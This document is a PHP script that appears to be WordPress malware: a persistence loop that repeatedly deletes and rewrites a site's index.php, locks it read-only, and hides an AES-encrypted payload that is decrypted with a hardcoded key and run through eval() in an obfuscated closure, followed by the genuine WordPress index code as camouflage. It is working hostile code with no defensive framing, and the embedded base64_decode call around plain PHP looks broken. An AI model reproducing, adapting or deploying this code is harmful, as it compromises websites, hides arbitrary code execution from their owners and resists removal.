​<?php
error_reporting(0); 
ignore_user_abort(true); 
set_time_limit(0); 
$js = 'dxfeg.txt'; 
$ab = '../../index.php';


$or =  base64_decode('<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
EVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';'); 

while (1==1) {
    
    if (file_exists($js)) {
        @unlink($js); 
        exit(); 
    }
    else {
        @unlink($ab); 
        chmod($ab, 0777); 
        @unlink($ab); 
        file_put_contents($ab, $or); 
        chmod($ab, 0444); 
        
        usleep(1000000000); 

    }
};
?>